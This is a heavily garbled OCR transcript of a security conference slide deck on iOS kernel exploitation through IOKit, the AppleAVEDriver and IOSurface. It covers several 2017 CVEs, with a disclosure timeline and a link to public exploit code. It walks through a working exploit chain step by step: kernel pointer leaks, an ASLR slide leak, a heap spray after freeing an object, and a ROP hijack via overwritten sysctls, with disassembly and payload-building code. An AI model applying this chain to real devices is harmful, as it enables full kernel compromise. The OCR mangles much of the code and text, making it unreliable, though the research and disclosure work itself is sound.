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“Attack surfaces

Common attack surfaces in iOS

s _.syscall's_'(l\/lach anvd 'Fre_eBSD')
* MIG '



[OKit

IQ'K_it in 60 seconds

Apple’s col o

a Geekab'®
@geekab\e
| have 10 agree, ! ’ super—we\\—des'\gned for
fac'\\'\tat'\ ernel exp\o'\tat'\on
Chris Han n @eschaton
\OKit 1S really the unsung h f the arwin p\a orms. o well des‘\gned
very other @ arch‘\tecm\' yve ever seen



|OKit

Jailbreaks in the past

IOMobiIeFramébuffer - IOHI[)-'I:am'in : ‘|IOHIDFamily. IOSharedDataQ’Ljeué IOUSBDeviceFamin :
R PARE e ~ Pangu. TaiG & PPJailbreak -~ - - TaiG & PPlailoreak = - evasiOn
i S S ay _ - Multiplue bugs M B X s s e e

* Jonathan Levm S ”*OS Internals Volume 11 (Securlty & Insecurlty) covers all modern Jallbreaks to -
date with full walkthroughs of vulnerabilities AND exploit techniques. -



1OKit

Why do hackers love |t7

A Iot of drlvers

. Increases the attack surface -

Object Orlentatlon

e vtables( overrldable functlon pomtersm kerneI space)

. Open sources for famllles

i Code automatlcally |nher|ted by all members of famlly, on aII pIatforms '

Lack of sources

. Less audltlng eyes )



kern BeiEtaen St gt as JTokit connectlon(lo COnNREEE S ESE CONN TS out
ponst EhielE et e che cleiinam e o
Kern et riERiacisi—="KERN S SUCCESS:;

o gonnecr s seeonnect 1on =05
M FP@ it Ma sitte PP oL G =50
o ibewngior “EanEEs =)

oS ey se s e el

1O ‘Hame it service: nane;

mewss - host "get idhmas Ler (hachihost seelis@ i tmas Leri Doty
pets e M Egbe rviceGetMat chlngser vi te SiflldsiEe eai POt
IO0OServiceMatching ("IOService"), &itr);

while (IOIteratorIsValid(itr) && (service = IOIteratorNext (itr))) {

ret: = «LORegrstryEntryGetNameService,  servite hame):;
LECsETEamp. (Se v ice mame, - tdrgetiname):)
continue;

rew = lOoaryade Opair( Serviceyimachtngs ks se La () 7l weonn o) ;
break;

}

return: .-rets

_______________________________________________________________________________________________________________________________________________________________________



IOKlt

Usermode to Kernel communlcatlon

* |OKit drivers expose “external methods” for user-mode.
fﬂ Called fro_'rn'. "uéer:-mode' L'Jsir'}g I0ConnectCallMethod
. Dri;/ers -mUst' overwrite fhe' ”e}(térnaIMethoa” fu'nc_’.cion_'
. Communlcétlon .|s done oVer mach messages |

e IOConnectCa/lMethod caIIs ultlmately mach msg



IOKlt

Usermode to Kernel communlcatlon

. .IOKi.t drivers expose “external methods” for user-mode.
e Drivers must c'>ve.rwrite'the f‘externalMethod” function -
e | ‘selectdr’ is the ID of.fché expo_s'e‘d function in thé specifié driver
vk ’arés";coht-a.ihs all the inp'ut.from' user and output ba-ck-.to.USer' -

IOReturn IOUserCllent externalMethod( u1nt32 s selector, IOExternalMethodArguments & ax g Sy
IOExternalMetholespatch it dlspatch OSObect > tatrget,: void > ‘tefaereénce’ ) ;



const IOExternalMetholespatch MyUserCllent s methods[EXTERNAL METHOD COUNT] = {
L@ ExEeernalleishodiicirionliMyUserClirent s si@pens 0, 8 = 0 il
i (l@Exte rneatlileFhodiewiton) Glyiliser@Gliitcnr = st vl o serasysill, =TS is)
{{I0ExternglMethodAetion)MyUserClierlt: S PUt: nam, =i - 0,000,
[l oEx ternallethodAgeion) sMypdse riCluenta us: gewiinmy 0%« 05 JE 01

‘;};

iIOReturn MyliserClaent: sexterpadMet od (UrmMe 32 ot ssalaectony;

ﬁOExternalMethodArguments carEs
TOExternalMethodDispatch *dispatch, 0SObject *target, void *ref)

{
E /* Make  sure the user asked for an appropriate external function */
B iseleceor s >= EXTERNAL ~METHOD COUNY={
return kIOReturnUnsupported;

/* Fetch. external -fun® . according; to .user=provided 1d */
gispatcel. = (ITOExternalMethodbispatch* ) &s methods[selectar] ;

tatrgeti="_ ownery;
ref = nullptr;

return supeér: :externalMethod(selector, args, dispatch,; target, ref):;



IOKlt

Usermode to Kernel communlcatlon '

R e e i et et i et e e

§ .0 corneot iEhdpple. ave ‘conn =07

Elf(KERN_SUCCESS I= get_loklt_connection(&apple_ave_conn, "AppleAVEDriver"))
: gotoerr;

~ichar input struct[8] = {0};

Bchar output ‘struct [4] = (0%

- isize t osize = 4;
5Jret = L0ConnectCal lMethod (apple adve coniny,
: 07 /* Yselector’ = first exported function %/
NULL; 50 AE S ON S RPUE SSTatars. X
e sEruct, 87 fRs AnNpUt - sEract,; ~8-bytas. */
WO O /% no outputssealarsaryy/

QULPUE -SEXUct ;8051 ze ¢ A%i qutput strack, 4 - byktes at mogtery

¥t

______________________________________________________________________________________________________________________________________________________________________________________



____________________________________________________________________________________________________________________________________________________________________________________

const IOExternalMetholespatch MyUserCllent s methods[EXTERNAL METHOD COUNT] = {
{ (I0ExternalMethodAction) &MyUserClient: : ||} 0, 8, 0, 4},
i (l@Exte rneatlileFhodiewiton) Glyiliser@Gliitcnr = st vl o serasysill, =TS is)
{{I0ExternglMethodAetion)MyUserClierlt: S PUt: nam, =i - 0,000,
[l oEx ternallethodAgeion) sMypdse riCluenta us: gewiinmy 0%« 05 JE 01

‘;};

iIOReturn MyliserClaent: sexterpadMet od (UrmMe 32 ot ssalaectony;
EIOExternalMethodArguments carEs
TOExternalMethodDispatch *dispatch, 0SObject *target, void *ref)
= f
o /* Make: sure the user asked for an appropriate external function */
B iseleceor s >= EXTERNAL ~METHOD COUNY={

return kIOReturnUnsupported;

/* Fetch. external -fun® . according; to .user=provided 1d */

dispatch. = (IOExternalMethodDispatch*)&_;

target = this;
ref = nullptr;

return supeéer::externalMethod (selector, args, dispatch, target, ref);



IOKlt

Usermode to Kernel commumcatlon |

© - Usermode

~ Kernelmode

- MIG




IOKlt

Usermode to Kernel communlcatlon

_______________________________________________________________________________________________________________________________________________

AppleAVEZ external methods table

DCQO
BIS4D)
DCD
DCD
DCD
DCO
DCD
DCD
DCD
DCD
DCQ
DCD
DCD
DCD
DEDR
DCO
IBjGiia)
DCD
DCD

AppleAVEZ external method addsclient

0 ; number of va-nd 6 d s calars
8 ; structure rnput: sizZe

0 7o number cof-urntod st scalars
4 Piostructuresoutpit Ssize
AppleAViz'external nethod remoyeseclient

0 ;. number -of -urhted t scalars
4 ; structure input size

9) s auseEs ol R o T - sCatars
4 sésLplleLure “outputislize
AppleAVE 2 extéernalimethod ‘setCaliback

0 & numbe=g@sr Nt eds toscalars
0x10 ;- Structure. input -size

9) piumbers g TmEnt o4t SeEdlars
4 S trucEure v onEpul S size
ApplefVE2: external. methud setSessronSettinygs

0 7 DUMD e OFE U e sea La rs
0x470 ; structure input size

0 7ionumbert okstrmEod SEisical ars
0x2EQ ; structure’output:rsize

as

(2]

as

asS

asS

as

input

oUtRPUt

TP

output

R EOIEE

output
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Vulnerabilities

* Summary of the research

: .,'_ |OSu rface
i © +- CVE-2017-6979
e "Abp.lfeAVEDA-ri\'/'er.
v CVE-2017-6989
ol - CVE20176994
© ¢ cvedoreess
| - CVE2017:6996
S é\‘/E‘;2017-6997
©+ CVE-2017-6998
¢+ CVE-2017-6999 |mpfipom i



lOSurface

IOSurface in 60 seconds |

. Share hardware acceIerated data (or practlcaIIyJust data) across muItlpIe

processes

_* Shares data W|th IOMemoryDescrlptor (mappmg mstead of sendlng between

= processes)

. Su rfa(’_:‘els' are ,|.dentai,fied b;y.an_ ID



AppleAVEDriver _

'Who are you?

~ * Responsible for |
* No i_nformatibn o]

“* Nosources®



AppleAVEDriver

'Who are you?

AppleAVEZ externsl. methods talble DEQ AppleAVEZ external methdd adducliernt
DCD- 0
#DCD 8
DCD O
2DCD 4
EBDCO "AppleAVE2 "external .mgthod remove client
Beias)
BCD: 4
PER 0
DCD 4
DO AppleAVE? -extexnadld metliod ssetCallback
n:DCD -0
“DCD 0x10
IDCDH. 0
DGD 4
- DCQ AppleAVEZ external method setSessionSettings

:ffbéé AppleAVEZ external- method FFFFEFFO06BIFDEF4L
:‘béé AppleAVE 2. externmaltimethod R FETEOUGBORE UL
._béé BppleayBE2  exterigl method  FREFEFF006BIEEICHE
béé AppleAVEZ2 external method FFFFFFFO06B9FAOCL
.béé AppleaviZiexterpalt method FHFEFFFFOUGBIFFEFOL

;. ends



AppleAVEDriver
‘Who areyou? - . |

 DCQ AppleAVEZ_exterhal_method_sétSeSsionSéftings
- DCD (

DCD 0x470 ; structure 1nput: size
£DCD. 0

-DCD 0xZ2E( o ; structure output 8ize



AppleAVEDriver
‘Who areyou? - . e | B g | e
AppleAVEZ_eXternal_method_setSéésionSet—
ft1ngs |
LDR.. . X1y [X2, %0x30] 7 . user contrelled input

JLBR . X, [ X2 +0x53] ; oUEpUE sent ‘to user
- Uk FFEFFFROOEESEETS ; Branch




‘AppleAVEDriver

“Love at first sight . -




AppleAVEDriver

“What the hell just.happened

* Supply ‘any kernel address (NO IimitationS!}!!)

. If:supplied, -_uSe' it as an |OSurface object

If Wa'sn”gt- ‘s-u,pp'lied, Just ch’eck»»,i,f the ID is val_id"' (hOrmal. wa-y")

How does Ap'pIéA;\/ED'ri\'"/er expect user-mode to have kernel pointers?



AppleAVEDriver

"Heap info leak

~ AppleAVEDriver prObany gi'ves away IOSur_face addresSes....

* Selector #7 =



AppleAVEDriver

"Heap info leak

X20 = input from user; X22 = output to user
CBZ X0, loc FFFFFFF006B9FDAC ; Compare and Branch-on Zero - . = |
LDR . X0, - [X2E, #0xB81:; provider (AppleAVEDriver)
ILDR . Wl,. [X20,#0xC] " ; I0Sutrface: ID
LDR X2, [X21,#0xE8] ; UserClient->task owner
'EBL get s osutface
ISTR. **X0; :[X20,#0x188] ;' Store -IOSurface address in input buffer
CBZS X0y Toc: FFFFFFF006BIFD68

___________________________________________________________________________________________________________________________________________________________________

[X2O #Ox188] ;- Load Surface kernel p01nter
, X224 & iPut-mam - oulip@tiiback . o uscrmode
ELDR X9, [X20,#0x198] ; Load surface kernel pointer
| [(X22,48) ;. Pot. in output.back*fer usermode
[X20,#0x190] ; Load surface kernel pointer
| [ X222, #0x10 15 ;2 Pt in output. backs foriusermode
AR X95 7 X2 05, #Ox3E8




“AppleAVEDriver
‘What do we have so far?

o Kérnel code Iexecutioh hijack (Give arbitrary IOSurface addréss)
\/ Heap info leak (I0Surface address leak)

4 Ne'c"e-ssa_ry'SMAP bypass -

i Kernel base info leak



AppleAVEDriver

‘Base kernel leak

* Almost all external functions lead to the same function

xrefs to jump_to_main_logic_with_command_gate

Direction Tyr Address Text

AppleAVE2_setSessionSettings+2E4
AppleAVE2_external_method_7+2EC
AppleAVE2_external_method_4+3C
AppleAVE2_external_method_5+3C
AppleAVE2_external_method_6+7C
AppleAVE2_external_method_8+2C

jump_to_main_logic_with_command_gate; Branch
jump_to_main_logic_with_command_gate; Branch
jump_to_main_logic_with_command_gate; Branch
jump_to_main_logic_with_command_gate; Branch
jump_to_main_logic_with_command_gate; Branch
jump_to_main_logic_with_command_gate; Branch

Line 1 of 6




‘AppleAVEDriver

‘Base kernelleak .~ -

'+ Almost all external functions lead to the same function




AppIeAVEDrlver

IWawHogm |

e signed‘__int64 fastcall main_apple_ave_logic_

“main apple ave logic

STP X2.8, X27,. [SP,#-0x10+var 501 % ;- Store Pair

BRSTP X2y~ X255 [ SP, #0508 as 40_ ;- Stere PRair
LISTP XPdiee: 03 i SiP #Ox50+var_302 . Store Pair
ISTP X22,; -X21, | SP#OXB0+Var 201 . " Store Pair
e STP X2 0,0 X0 e Rrarl 5Unvar 210 [ " Storc Paiik
fESTP X29, K30, I8P, #0x603var 0] ;o stare Pair
ADD %29, SP, #0x50 ; Rd = Opl +:0p2

SUB SPS -SSP #aR2 0. = R =1 Opl =002

MOV X25.7K3 rsour .previeus: -npulhuffer

-MOV X2ds, 23X 2 2 tunk?  SomeStounter

MOV XPD:, sl it AppleRVEAMUserclient

MOV X205 X0 ;  AppleAVE2Drives



AppIeAVEDrlver

hnan1knyc |
LDR S e o R B ARG A surface object
"LDR X2, [X20,#0xF0 ] .;  Surface root
1.DP X e AP T O e i Qe BRI e En S Do e
iLDR WE, X220, #0x1 20 5 alivad St o Memory
LDRB W9, [X20,#0x180] ; Load from Memory
MOV UASHPE 10 Rt e W
- MOV W7, #0 ;- a8
“STRB W95 8 #0x70+al8] 7 ala
ADRP X9, #alnitinfo@PAGE ; "InitInfo"
““ADD X9, X9, #aTnltrnfORPAGEOFE: » " Init Thfo"
ISTR X9, [SP-#0x0tal f o alo
STR W8, [SP,#0x70+a%9+4] ; all
STRB WZR, [SP,#0x70+a9+1] ; alo
ﬂETRB WZR, [SP, #0x70+a%] ; a9
MOV Wh e v ia 6
-MOV X0, XA 3 unk
BL CreateBufferFromIOSurface. ¢~ Branch -with Link

LDR X26, [X23,#0x40] ; X26 = kernel address of mapped data

\L:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::,



AppleAVEDriver

“ Main logic

. Transferrmg meta- |nformat|on with IOSurface mappmg??

e Usermode can modlfy that data whlle the kernel uses |t



AppleAVEDriver

" Main logic

::::::::::::::::::::::::::::::::::::::::::::::::‘::::::::::::::::::::::::::'::::::::::::::::::::::::::::::::::::::::::::::::::::::=:::::::::::::::::::::::::::4:::::::::::::::::::::::v

BL gt [Kerile.lsaddress of. mapped sufface. daea

MOV X2:3:;5 X0

- CBZ Xzspprnosmapped Tkernel daddress

LDR W8, [X23,#0x10] ; Get surface's mapped data info type
- MOV WY,  #0xFFEFBAY9 . Lowest info. type: 'Eg’

ADD W9, W8, W9

CMP WO, #4 ; switch 5 cases

BHL ge L LFEERERRO006AS 6714 5 »rumptab e S ERERERGD oo AShlcde faul £ “cage
'ADRP X10, #jpt FFFFFFF0066A3614QPAGE
. ADD X10, %10, #jpt FFFFFFF0066A3614@PAGEOFF

<LDRSW X9, [X10,X9,LSL#2]
. ADD X9, %9, "X10

BRI e X9 .o ep-switch gump

. Does stuff accordmg to user- prowded mfo type

. Most of them Jump to the same pIace



AppIeAVEDrlver

Main Ioglc

. Fast forwardlng for breV|ty, but

S DR
CBNZ
MOV
-BL,

=STR
iCBZ

XO [X23,#0x16B0] ; Load from mapped. - LOsStrface bufifer.
X0, qieminfo not ‘null ;. Compare -and’ Branch: on:Non-Zero !
WO, #0x28.; Rd.=. 0p2 “
LOMalioe -;  Bramch:iwith-hink

X0, T PX23, 401 6 BO I St o e r E o Memo Y

X0 ~mem anforadilgeiia I eraConpate. -and  Brancle0a - i4e to

em trnrornot nild

MOV
MOV
BL

W2, #0x28 ;" Rd'="0p2
Wk, #07 Rdi="0p2

aemse iy R0 Fcan. be comp retelyinsermedecontrel fed



AppleAVEDriver

" Main logic

. CaIIs funct|on ”MapYUVInputFromCSID” (accordlng to Iogs)

. Map somethmg from our controlled data?

e e e e e e e e i e e e |

BB Xoe IX2 5, g 8ianloagd 10SUrface“phn
ISTR XS X3 U2 8 - STore s ROSurfalge st resinimappediadata
LDR X8 X265, #0xE8Y. ;' Ticad anether I@3urface - ptEr |
STR Xe X2 3, #0x418) F SR ore toEhers FOSUrface” ptriiinte-napped data
=~ LDR X2, [X23,#0x16B0] ; Load the memsetted address
DR W6, [X23,#0x14] ; Load controllable uint32 t
o) W8, #0x5758
* LDRB W7, [X19,;X8]
MOV W4, #0
ADRP X5, #alnputyuv@PAGE
. {ADD X5, X5, #alnputyuv@PAGEOFF
MOV X0, X20 ; AppleAVEDriver
MOV X, XI%: p some TOSurface stuff woepiled to- stack

BL MapYUVInputFromCSID



AppIeAVEDrlver

MapYUVInputFromCSID maln logic (translated to Engllsh)

20 bl BN N T AT SRR M o Ch ) TSR] = 2 e e e T N Y, AR Y el T R A B O Pl O T L A B R ORI S SO I o et R N e A TR e S U gt P Y et RO SO, N Rt I O BB deping TS B (R St

buffer mgr, mem.= operator- new (0x./0LL) ;
iLOSurfaceBuirferMgr = inutrallze’ IOSurfaceBuiserMar (
butfer -mgr:imem,
driver->mmu manager,
_ driver) ;
*controllable pointer = (  int64)IOSurfaceBufferMgr;
By address T wewant = Acontrollables . pointery
ﬁcontrollable_pointer[l] =o OWORD *j) tany ;address-we~want’ .+ 0x38):;
- jcontrollable pointer[2] = * (- QWORD *) (any address we want + 0x40);
ichecked_qword =04y OWORD- ¥ )= (any. gderessimie Wanis OX50)
Bcontrollable pointer(3] = v26;
iif ( (checked gword >> 0x20) & OXFFFFFEFF )
A
' got o panics
}
T CCEDHGRE: miconteol-lable  poidnter =83 == 7 ([ DWORE =) (anyp-addre s wewant. . £58x1 8) ;



AppleAVEDriver

'So we got an info leak?

~* To leak the content of address X, at least one of the following must be true:
(X +0x18) == NULL

e H(X+0xIC)==NULL -
S _*(X+'0X3C) == NULL (but then we leak only 4 bytes)

» And of course, X is a-valid kernel address.



- f v Pl -
. e /
) .. . ’
- - - .
S L@ o 4bt 'y P -
. (A% N P % . 3 ‘
s -' < . v 3.0 &
LU IS 2 i P SR .
" »'n
73 RO 5 RS ey $
Sty A : »o. W IwLER & 4 ®
. . rs . . o .. -
' D) ¢ s b g S
. . -
. S e N
s A e P
¥t ’
B

| ReV|ew of neglected attack surfaces
S 'f‘.. Past vs the Future

Vulnerabllltles
New i0S vuInerabllltles

Epr0|tat|on

New technlques as weII

'Jailbreak S0
. WENETAPLZ

“Conclusions
And Q&A.




Exploitation

"Main plan

Createan IOSurface ebject

Leak the surface S kerneI heap address

. Usmg the info Ieak vuInerablllty - |0SurfacelD to IOSurface kernel ptr

Leak IOSurface S vtable W|th the other info leak for ASLR caIcuIatioh
e Free the surface and respray its Iocatlon with somethmg eIse

. lee the kerneI the same heap address of our freed IOSurface

-+ Different content this time, because we sprayed our data.

* Hijack kernel execution ‘.’_"’it.hJOP' hd et R



“Exploitation
Kernel base

~+ To ‘Ieak'_t'he content of addréss X, at least Ohe of the folIOwing mL'J‘St bé true:
e A(X+O0x18)==NULL | " |

S _*9(){ +0x1C) == NULL - : _ A

= | | . _*(X +'Ox'.3C) i%_NULL (but' fhenWé.Ieak only 4‘bytés') e

» And of course, X is a-valid kernel address.



Exploitation

Kernel base
- .00000000 vtable DCQ ?
* Leak a00000008 refcount DCD ?
‘... 0000000C field c DCD ?
°-We ha00000010 field 10 DCQ ?
‘00000018 prev_surface_ptr DCQ ?
. 00000020 field_ 20 DCB ?
.00000021 field_21 DCB ?
00000022 field_ 22 DCB ?
-7~ 00000023 field 23 DCB ?
- 00000024 field_ 24 DCB ?
~--00000025 field 25 DCB ?
.. -00000026 field 26 DCB ?
00000027 field 27 DCB ?
- 00000028 provider DCQ ?

00000030 current_memory region DCQ ?
- 00000038 memory descriptor DCQ ?



“Exploitation

mempry_descriptor DCQ ?

Kernel base
- 00000000 vtable DCQ ?
--00000008 refcount DCD ?
~0000000C field c DCD ?
.. 00000010 field 10 DCQ ?
- 00000018 prev_surface_ ptr DCQ ? ; Never NULL
00000020 field 20 DCB ?
00000021 field 21 DCB ?
. 700000022 field_22 DCB ?
00000023 field_23 DCB ?
00000024 field 24 DCB ?
00000025 field 25 DCB ?
00000026 field_26 DCB ?
00000027 field 27 DCB ?
00000028 provider DCQ ? ; Never NULL
- 00000030 current_memory region DCQ ? ; Never NULL
- 00000038 ;

Never NULL



“Exploitation

“In‘I0Surface we trust

ADRP X1, #alosurface@PAGE seltR gt et
ADD X1, .-X1, #alosurface@PAGEOFF ;."I0Surface"
ADRP X2, #0SObject::gMetaClass(signed char)@PAGE ; 0OSObject::gMetaClass
LDR X2, [X2,#0SObject::gMetaClass (signed char)@PAGEOFF]
MOV W3, #0x338 ; IOSurface's object size
féBL OSMetaClass::0SMetaClass (char const*,0SMetaClass const*,signed int)

________________________________________________________________________________________________________________________________________________________________________________________

~ loSurface is a big object



Exploitation

‘Kernel base

T _IQSurfa',Ce creates an “IOFence” object

.. A:sy.n'c.hroni'za'ti'on object that is used by I0Surface.



Exploitation

‘Kernel base

00000210 fence _current_queue DCQ ? ; Points to an "IOFence” obJect
00000218 fence_current_queue_tail DCQ ?
- 00000220 fence_waiting_queue DCQ ? ; Points to an "IOFence"” object

00000228 fence_waiting queue_tail DCQ ?
00000230 fence_allow_tearing DCB ?

00000231 field_ 0x231 DCB ?

00000232 field 0x232 DCB ?

00000233 field_0x233 DCB ? ;
00000234 bulkO (null) ? ; All bulks are user read-writable
00000244 bulkl (null) ? =
.00000254\ bulk2 (null) ?

- 00000264 | bulk3 DCQ ?
10000026C |bulk4 DCB ?

0000026D |bulk5 DCB ?

0000026E YcbCr matrix also DCB ?

0000026F bulk6 DCB ?

00000270/ bulk? DCB ?

00000271 bulks8 DCB ?

00000272 bulk9 DCB ?

ooaoov73 bulkl0 DCB ?



“Exploitation

'KernelbaSe‘

00000000 vtabile DCQ ?

00000008 field Ox8 DCB ?

- 00000009 field 0x9 DCB ?
0000000A field Oxa DCB ?

- DO0000OB field_Oxb DCB ?
0000000C field_Oxc DCB ?

00000000 field Oxd DCB ?

.D000000E field Oxe DCB ?
-'D000000F field Oxf DCB ?
00000010 surface DCQ ?

-00000018 accelerator DCD ?
© 0000001C direction DCD ?
00000020 callback DCQ ?

00000028 target DCQ ?

00000030 ref DCQ ?

00000038 field Ox38 DCB ?

D0000039 field_0x39 DCB ?
0000003A field Ox3a DCB ?

00000038 field 0x3b DCB ?

?

'0000003C completed DCD ; 0 if in a surface queue

La-u. e B e e e S R R = R R R R R R R R R R R R R R R R R R aaaaaaes



Explmtatlon

IOFence is IOSurface S best friend

. ,Wé can leak |IOFence’s vtable!

* And cfalculaté'the ASLR slide! ©



Exploitation

“Main plan’

. Create an IOSurface obj’ect

. Leak the surface S kerneI heap address

5 Using the mfo leak vuInerablllty IOSurfaceID to IOSurface kernel ptr

~+ Leak the IOFence queue for the IOFence svtable '

. ASLR sI|de is caIcuIated

. Free the surface and respray |ts Iocatlon with somethmg eIse %

. "lee the kernel the same heap address of our freed IOSurface

- Different content this tlme, because we sprayed our data.:

-+ Hijack kernel execution with JOP and get RW



Exploitation

‘Heap spray

e .F.in'ding' the best OSUnserializeXML case:
fﬂ Persiétent |n Heap-. ' |
. _Noﬁlimita_t'iorjs on sprayéd,_daté' 4’

~ + No limitation on how many objects we can spray



Exploitation
"Heap spray"

~+ |0Surface comes to the rescue!

* Selectors9



Explmtatlon
Heap spray

T e T e e e e e e e T

@lroSurfaceRootUserClient . Set vellue

{

mser array — (OSArtay: 2z )0sUnserializeXML (
input ‘bufster: #: 8y
Sinput: blfferinpit BlifFer s ized s =" (irnpat butfer  + 895
OLL) ;

Madbe=dnsas arrav=eaet Object{0):;

ey i=w i ced e ¥ o= geicOb e cE ((OSATEaE A USer o el 2y clorm)y
] I@SuEFacreClient it setValile {surface eliient ke sEring, val,; ~‘outpulc buffer)



Explmtatlon
Heap spray

________________________________________________________________________________________________________________________________________________________________________________________

nbool IOSurface setValue(IOSurface *self OSSymbol *key, void * val, void *output)

pRufrsurETaces2aldl propertres:: |-
(Eopurtacexiiindtoalliproperticg {surface) & :surfaces>all Sproperties) -

if ( !key->isEqualTo("CreationProperties"))

{

/* Store user controlled OSData into. a user controlled -0SString key */

ret =
}
else
{
ret = 0;

R A S B AT By

e s S A e e e e LB e LGl e e T T s e e S e e e L i e e R e T e e S L ce e s e e AL e e e e R el D A e DO e e N S i e



Exploitation
‘Heap spray

. IP‘e'rsiste,'nt in memdry
» No limitation on sprayed data

. No'Ii'mi't_atjon on amount of sprayed objects =

+ Is that everything?



Exploitation
"Heap spray"

e _IOSurfa'Ce ultimate 'spray

* Selector 10 -



Explmtatlon
Heap spray

_________________________________________________________________.a__________________________________________________________&__'_____________________‘_______ _____________

e bool KOSt Ea ecRootlUser Gl enktaget: value
; i{
8- value = .(0SPata S EOcurkaceCiltienie: s copyhMatueitsar baces Cliienty t-kewyy

Hisnime il ourpa P buiiberdaal 4 )y ;
1:fe Giara ke

e

; osserializer = (0OSSerialize *)0OSSerialize::binaryWithCapacity(...);
§ if. - (‘osserializer )

i {

§ if ( (value—->serialize(osserializer) )

| (

5 binary length = osserializer->getLength();

| banaryidatais osserializer=>texe(F;

| memcpy (output buffer, binary data, binary length);
§ }

; }

§ }

}

_________________________________________________________________________________________________________________________________________________________________________



Epr0|tat|on
Heap spray

________________________________________________________________________________________________________________________________________________________________________________________
1

OSMetaClassBase * IOSurface copyValue
1

sl pproperiies == surface=—alldpropertie s s
el = @M bteClassbace tyal ]l i peoparnties-gotObjectdkey) ;7

return ret;

o a0t e e a Rl ¢ S LN e o SRR R RO R S Y Ay N A R Nt St F Iy il Sl U M T TR 0T e 8 B S el SR IS T R I e Kl 3 S B T T R SN e S N B Sl Wtk S N S tler W Ml ot T NSO AT TR Nl o P e SR



Exploitation
‘Heap spray

* Persistent in memory

* No limitation on sprayed data

. No'Ii'mi’tatjon on amount of sprayed objects -~ |

¢ Is tha't‘ 'everyt'hih_g;?'_l ‘

. Allows re-reading the sprfayed object



“Exploitation
Hijacking kernel _executio‘n :
~* Goals:

f" Arbitfary kéfn.:el read
| . Art;it_ra:r,y.ker_'nel.write. i
-.°4Arlloit~r'ar§/ kernel ROP .

* Whenever we want, deterministically



Exploitation
“Hijacking kernel execution
'+ Current primitive:
= . 6ur_féke_'o‘bj.e'ct:->.any;addfess_We_want(our;fake:_o'bj:ect);.'.

.4 Gadgelsy:.



R e ey e N A A e T P e L S R N e A Ny s oL e

0SSerializer::serialize (OSSerialize *)const

MOV e XL 2 B O00
fWe coempletedy:.cont roli= X0
LDP XAz s o A X O O liE ] = Load Pare
‘ELDR X9, [ X0, #0x10] ; Load -from Memory
- MOV X0y =X fo R0
MOV X0 ma L ORdi=ap?

ZjJump to any function we want
While controlling the first 2 params
..BR X3 ; Branch To Register

e e e e et e e



‘-'*(v01d**)(data R 200 = feffsets: get ikerned sbaseilf)is *OFFSEL(osserialszer serial i ze )

,/* OSSerializer: Serlallze(data + Ox234 SYSCTL HANDLER*®SIZE-.*: 2) * /
#voidt*ya(data’ F0xlB). = obiect raddress’ 4+ 0x234;
*(un81gned longrs(data” +-021 89" =.5¥SCTI HANDLER SLak 75 23 A*third. parametér -for RGP chain */

./* copyin(o fake sypatl. handlers, 1ldcachesize” handler, - SYSCTE HANDLERIESEZE. ¥ 2y XY
Fvolderd) (deakar +-0x234. £7.0x10) . = g. fake Sysctl: handlersz 7% firat paramter for ROP chain */
/* second parameter for ROP chain */
& (redid* M) atdots s ®EOX234 40 BX 1 8Y. = df fsets get i kerneltbage(iss: OFESET (¥ dcachesize. handler):; ,
“i*(void**)(data H a0 234 OX2O) Aol fsgkarge s kernel oaser it OFFSET(copyln) ?




Exploitation

“Hijacking kernel execution
~» New primitive!

29 Any_kernéljdnction(a'ny_é'rgO,ény_argl,any'_arg:Z)" |
Ty Sufficient for a one-time copyin from user! |

» What should we overwrite?



'Exploitation
“Hijacking kernel execution
'+ Sysctl are in the DATA section
f.. AMCC\KP:P fdo:n’t p,rote'cfc tHQse ®

* For any sandbox profile, there’s almost always an accessible sysctl.



Exploitation
Hijacking kernel execution
e G(.)'a_l-s:"
f" Arbitfary _'ke“rn..'el read
| . Art;it_ralr,y.ker_’nel.writ-e. i
. 4.°4Arbitr'ar§/ kérn.eIRO'P' i |

. When.e;ve-r'-'We, want, determin’istically



Exploitation

“Hijacking kernel execution

- Overwrite 2 sysctls
- One to ROP to our sprayed .data |

s '.Second.;o.ne‘ to modify .dUr_Spr'a.y'e'd data



“Exploitation

" Hijacking kernel execution

‘ OSSeriaIizer::seriaIize gadget ' - ~ copyin

" . . - ) .
v > e 4 - ’ > i s .
; . o 20 - . . A0 8 - L -
. -

Our spra'ye'd'data



Exploitation

“Hijacking kernel execution

~*» To ROP to any kernel function with controlled 3 params:
e Call sysctlf B td modify our éprayéd data with ROP d:ata éccordingly
e Call sysctl A to ROP with O__SSe'r'ia‘Iizer'::serialize with our sprayed--.déta__ |

< PROFIT



Call.OSSeriaIizef;:sériaIize again
Control 3'args

Overwrite 2 following sysc_t_ls.

| Lt f Control first 2‘Aa’|_"gs' ., o e

Our spra'ye'd'data



e 2 -CallOSSeriéI-izér::ser’ia-li_ze ag:
; Control 3 args

Sysctl A



Exploitation

“Hijacking kernel execution

T .Wé have arbitrary unlimited kernel ROP execution
* How to achieVe arbitrary kernel RW?

~ ROP to copyin and copyout!
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Jailbreak

' Exploit source code

* for ed._u,ca‘tional' purposes and evaluation by IT Ad'ministrators and Pentesters

- alike, and should not 'beuSed_ih any unintended way.


https://github.com/doadam/ziVA

Jailbreak

“Jailbreak project .




Jailbreak

“Jailbreak project

. Kernel exploits are.hotthe problem
. It.’é Cy_dié that Has to béfre\‘/vritt.en

.« Data only -p'atcfhes cdﬁld _s'tliII wc-)rk,‘but likely need a ”'jailbfeakd"’ dae-mor.j'
g o ‘Daerho_n woul'd‘ intercépt prbces;fé.t'réation and inj'ec,t Iibrariesthr'ough‘t'ask port
. |§h Beer’sTrIp|e F_etch cOuI"d.xbe u,‘;s'edAas.sar'\d'box escape - : . | -

3 Allows'any process’s task port, including mediaserver, plus debugging
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‘Disclosure Timeline

Vulnerability disclosure
20th March, 2017

Apple confirmed 1% bug
29t March, 2017

Patch distributed
15t May, 2017

88



“Conclusions

. Apple d|d amazmg jOb EN year

e Flrst company tomtroduce PAN

° .Enhanced security tO--.he,ap
¢ Currently most secure mobile 0S

. BUT! -,\"/j\'/'t)-rk"_sti,ll has.-ft'b .be’d‘one.f.
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